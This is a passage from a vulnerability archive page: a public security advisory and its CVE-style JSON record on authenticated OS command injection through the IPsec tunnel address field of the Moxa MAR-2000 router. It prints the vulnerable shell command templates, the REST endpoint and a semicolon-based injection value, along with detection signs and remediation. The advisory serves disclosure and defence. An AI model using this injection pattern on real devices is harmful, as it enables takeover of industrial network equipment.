disable IPsec where tunnels are not used so the model's lifecycle has
nothing to apply.
Proof of concept. The published tool is a standard-library-only Python 3
client that drives the entry path: it logs in, reads the current IPsec
configuration, writes the tunnel table's local VPN address field carrying
the payload, and reports what the stored value will do at each of the four
constructions and at which lifecycle occasion the model consumes it. It
takes target, credential, command and timeout arguments; the default target
is loopback; it verifies each response and exits non-zero with an explicit
message on failure. It does not attempt to drive the tunnel lifecycle
itself, and no persistence, reverse shell or destructive action is
implemented. Use it only against systems you own or are authorised to test.
The vendor's product security team mailbox, published on the vendor's own
security advisories page, was used for the unconditional notification; no
report form was submitted and no individual was addressed by name. This
disclosure is unconditional: the research is published, no permission was
asked for, no embargo was requested, nothing is withheld pending a reply,
and remediation questions are answered at no cost. No vulnerability
identifier has been assigned to this finding.
Two companion advisories for the same product are published alongside this
one, independent findings that share only the entry architecture - a
different model file, REST resource, configuration field and sink each: an
Executer program-activation injection through the stored argument field of
a shell-interpreted program launch, and a scenario ping condition injection
through the auto-executing ping thread, both at the second and third URLs
below.
Full technical analysis and the reproducible proof of concept, published
unconditionally:
https://0day-rubbish.com/blog/mar-2000-network-ipsec-command-injection
Companion advisories for the same product, independent findings:
https://0day-rubbish.com/blog/mar-2000-executer-program-argument-command-injection
https://0day-rubbish.com/blog/mar-2000-scenario-ping-command-injection
Project archive (ongoing disclosure series):
https://github.com/Exploit-Garbage/0day-Rubbish
--
0day Rubbish Research Team
disclosure () 0day-rubbish com
https://0day-rubbish.com
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
9 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Moxa | MAR-2000 firmware |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "MAR-2000 firmware",
"vendor": "Moxa",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "disclosure via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "0day Rubbish Research Team is publicly disclosing a vulnerability in the Moxa\nMAR-2000 series industrial 4G/LTE cellular router, firmware image\nFWR_MAR2000_V1.0_Build_15010909, from Moxa Inc. (Taiwan). An authenticated\nadministrator converts one stored VPN address field into arbitrary command\nexecution as the identity of the product\u0027s model process, because the IPsec\nmodel manages the tunnel\u0027s addresses and routes by interpolating stored,\nnever-validated configuration values into shell command lines. The payload\nis committed by one request and executes at a lifecycle moment the product\nperforms on its own. This is one of three independent command injection\nfindings documented for this product and released together as a set.\n\nType and root cause. CWE-78, OS command injection, with CWE-20 co-equal, in\nthe IPsec model at /home/model/network/ipsec/ipsec.py inside the ARM\nDebian 6.0.8 root filesystem of the firmware, which runs the vendor\u0027s MIRF\n(Mobile Intelligent Routing Framework) stack: a Node.js Express 4.0\nmanagement application on port 80 bound to all interfaces, the express-sanji\nmiddleware bridging REST resources onto a local MQTT broker, and Python 2.6\nmodel scripts that persist configuration and act on it. The model stores\ntunnelModeTable - whose keys include localVpnIp, tunnelRemoteVpnIp and\ntunnelRemoteVpnInterface - together with transModeTable, as JSON\nconfiguration written through the authenticated PUT /api/v1/network/ipsec\nresource. When the IPsec service applies the tunnel, the model calls its\nlifecycle functions, and every one of the four interpolates the stored\nfields into an ip command line and hands it to\nsubprocess.call(cmd, shell=True):\n\n```\nadd_ip: cmd = \u0027ip addr add %s dev eth%s\u0027 % (localVpnIp + \u0027/\u0027\n + \u003ccomputed subnet part\u003e, tunnelRemoteVpnInterface)\ndel_ip: \u0027ip addr del %s dev eth%s\u0027 with the same stored fields\nadd_route: cmd = \u0027ip route add to %s via %s src %s\u0027 % (ipRange,\n localVpnIp, localVpnIp)\ndel_route: cmd = \u0027ip route del %s\u0027 % ipRange\n```\n\nThe stored value sits at the front of the command line, ahead of every\nliteral token the product contributes, so a semicolon inside the value ends\nthe ip operation before any product token can interfere with the injected\nstatement. One stored localVpnIp arms several commands at once: it is the\noperand of add_ip and del_ip and both the via and src operands of\nadd_route, so whichever lifecycle function a tunnel apply reaches first\ncarries the payload. The write side applies exactly one filter,\nclean_data(), whose entire behaviour is to delete dictionary keys the model\ndoes not recognise: no value is inspected, an address format is never\nchecked, and the payload rides a key the whitelist expects, so the filter\nis not even encountered as an obstacle. An administrator who stores\n\"10.10.10.1; \u003ccommand\u003e; #\" in that field has authored\n\n```\nip addr add 10.10.10.1; \u003ccommand\u003e; #/24 dev eth0\n```\n\n- the ip segment fails harmlessly as an address operation, the injected\nstatement executes under the shell, and the hash sign comments away the\ntemplate tail. A fifth related construction sits in the same model:\nupdate_config_file() assembles IPsec configuration lines interpolating\ntransModeTable\u0027s transServerIp and transClientIp into the stored\nconfiguration file - the same unvalidated-field pattern, not exercised in\nthis research record, reported as structure rather than as a detonated\nsink.\n\nAuthentication and reach. The validateUser middleware is the only\nauthentication check on the REST surface: it requires a server-side session\nfor every non-GET method, and login is POST /api/login compared against\nbcrypt-hashed entries in the SQLite user table. The PUT that plants the\npayload requires the session; past that check there is no second\nauthorisation layer, the broker leg carries no identity, and the model\nimplements no permission judgement, so the product\u0027s single documented\nrole, the device administrator, is the whole security boundary. The\nlistener binds all interfaces on port 80 in the shipped firmware; no WAN\nexposure is assumed anywhere in the published rating.\n\nSeverity. The published score is 7.2 High,\nCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H, from ISS = 0.914816, impact\n5.873119, exploitability 1.234708 and base 7.107826 rounded up to 7.2,\nPrivileges Required High being the product\u0027s single administrator role. A\nlabelled conditional and never the headline: where a deployment still runs\nthe factory default administrator pair carried by the shipped firmware\u0027s\nSQLite user table, the prerequisite collapses and the chain reads 9.8\nCritical on the PR:N vector (exploitability 3.887043, base 9.760161); a\nchanged credential removes it, and the default pair is disclosed as a\nseparate weakness, never folded into the published vector. A PR:L reading\nof 8.8 High is published only as the arithmetic of the rejected variant.\nThe score provenance is disclosed in public: the research record behind\nthis advisory carried 8.8 for all three same-product findings, that figure\nis the arithmetic of a PR:L vector, no artefact shows a lower-privileged\nproduct role, and every published number was recomputed from its own\nvector - which lowered the researchers\u0027 own figure by 1.6 points. A\nScope-Changed reading computes to 9.1 and is deliberately not published,\nbecause the model process belongs to the same single-purpose appliance\nauthority, and managing the appliance\u0027s interfaces and routes through its\nmanagement plane is the product\u0027s design rather than an escape.\n\nVerification method, and its boundary. Two evidence classes carry the\nfinding, kept separate in the published advisory. The firmware\u0027s own\napplication sources establish the configuration write, the key-only\nvalidation, and the four command constructions, read from the shipped\nfiles. The dynamic layer is a sink-level replication on an isolated cloud\nLinux sandbox: each of the four constructions, with the same template, the\nsame field position and the same shell=True hand-off, was executed with an\ninjected address value and separately with a benign control. All four\nproduced a marker file containing uid=0(root) under the payload; the\ncontrol produced no marker and no side effect of any kind. The boundary is\nstated plainly: end-to-end detonation against powered-on hardware,\nincluding the exact tunnel-apply moment at which the stored value is\nconsumed, is outside this research record, and the on-device model process\nidentity was neither measured nor claimed - uid=0(root) is the replication\nsandbox\u0027s identity and nothing broader rests on it.\n\nImpact. Arbitrary command execution as the identity of the Python model\nprocess, begun by one authenticated configuration write and delivered by a\nlifecycle step the product performs on its own, with no race and no\nprotocol manipulation anywhere in the chain. The payload is stored\nconfiguration: it persists across reboots, is read fresh at each tunnel\napplication, and the same single field reaches several sinks at once. The\nexecuting process is the device\u0027s own model daemon performing a\nroutine-sounding job, so detection signals are content-level: tunnel-table\nvalues whose address operand contains a semicolon, pipe,\ndollar-parenthesis, backtick or newline; unexplained child processes under\nthe model daemon; ip command failures whose operand text contains shell\nmetacharacters - and a legitimate address never contains any of them.\nReaching the route-management sinks also means owning the device\u0027s\nforwarding state, on a device deployed as communication infrastructure. The\nweb stack\u0027s separate property of answering unauthenticated GET requests\nacross the API surface - which lets an intruder enumerate stored tunnel\nsettings - is a read-exposure issue reported on its own and is not part of\nthis chain.\n\nRemediation: manage addresses and routes without a shell, building each ip\noperation as an argument vector launched without /bin/sh, which removes the\nmetacharacter question for all four constructions at once; validate every\naddress-shaped field at the model\u0027s write boundary so the component that\ninterpolates the value rejects non-addresses, not only a web form the\nbackend cannot assume is the only writer; turn clean_data() into a value\nvalidator at that natural choke point; treat the configuration-file\nassembly under the same rule; and add a regression test that stores a\nmetacharacter-bearing localVpnIp, drives a tunnel apply, and asserts\nrejection at write time or execution without shell interpretation.\nOperators until a patch exists: change the factory default administrator\ncredential at commissioning, keep the management listener off WAN-facing\naddresses, audit stored IPsec tunnel tables for shell metacharacters, and\ndisable IPsec where tunnels are not used so the model\u0027s lifecycle has\nnothing to apply.\n\nProof of concept. The published tool is a standard-library-only Python 3\nclient that drives the entry path: it logs in, reads the current IPsec\nconfiguration, writes the tunnel table\u0027s local VPN address field carrying\nthe payload, and reports what the stored value will do at each of the four\nconstructions and at which lifecycle occasion the model consumes it. It\ntakes target, credential, command and timeout arguments; the default target\nis loopback; it verifies each response and exits non-zero with an explicit\nmessage on failure. It does not attempt to drive the tunnel lifecycle\nitself, and no persistence, reverse shell or destructive action is\nimplemented. Use it only against systems you own or are authorised to test.\n\nThe vendor\u0027s product security team mailbox, published on the vendor\u0027s own\nsecurity advisories page, was used for the unconditional notification; no\nreport form was submitted and no individual was addressed by name. This\ndisclosure is unconditional: the research is published, no permission was\nasked for, no embargo was requested, nothing is withheld pending a reply,\nand remediation questions are answered at no cost. No vulnerability\nidentifier has been assigned to this finding.\n\nTwo companion advisories for the same product are published alongside this\none, independent findings that share only the entry architecture - a\ndifferent model file, REST resource, configuration field and sink each: an\nExecuter program-activation injection through the stored argument field of\na shell-interpreted program launch, and a scenario ping condition injection\nthrough the auto-executing ping thread, both at the second and third URLs\nbelow.\n\nFull technical analysis and the reproducible proof of concept, published\nunconditionally:\n https://0day-rubbish.com/blog/mar-2000-network-ipsec-command-injection\n\nCompanion advisories for the same product, independent findings:\n https://0day-rubbish.com/blog/mar-2000-executer-program-argument-command-injection\n https://0day-rubbish.com/blog/mar-2000-scenario-ping-command-injection\n\nProject archive (ongoing disclosure series):\n https://github.com/Exploit-Garbage/0day-Rubbish\n\n--\n0day Rubbish Research Team\ndisclosure () 0day-rubbish com\nhttps://0day-rubbish.com\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-20",
"description": "CWE-20",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-78",
"description": "CWE-78",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-02T07:30:04Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/53"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Oct/53"
},
{
"url": "https://0day-rubbish.com"
},
{
"url": "https://0day-rubbish.com/blog/mar-2000-executer-program-argument-command-injection"
},
{
"url": "https://0day-rubbish.com/blog/mar-2000-network-ipsec-command-injection"
},
{
"url": "https://0day-rubbish.com/blog/mar-2000-scenario-ping-command-injection"
},
{
"url": "https://github.com/Exploit-Garbage/0day-Rubbish"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Oct/53"
],
"discovery": "EXTERNAL"
},
"title": "[0day-rubbish] Moxa MAR-2000 firmware FWR_MAR2000_V1.0_Build_15010909 IPsec tunnel address command injection through the route-management shell commands (7.2)",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0503",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/53",
"automated": true,
"contentSha256": "495adc35af2466ab65f47c5822fd2ba376f90412a5f9bfa9ee356b5e7850970a",
"evidenceScore": 11,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Oct/53",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-10-27T16:39:01Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-11-02T07:30:04Z",
"dateUpdated": "2026-11-02T07:30:04Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0503"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
displaying 71 - 80 publications in total 581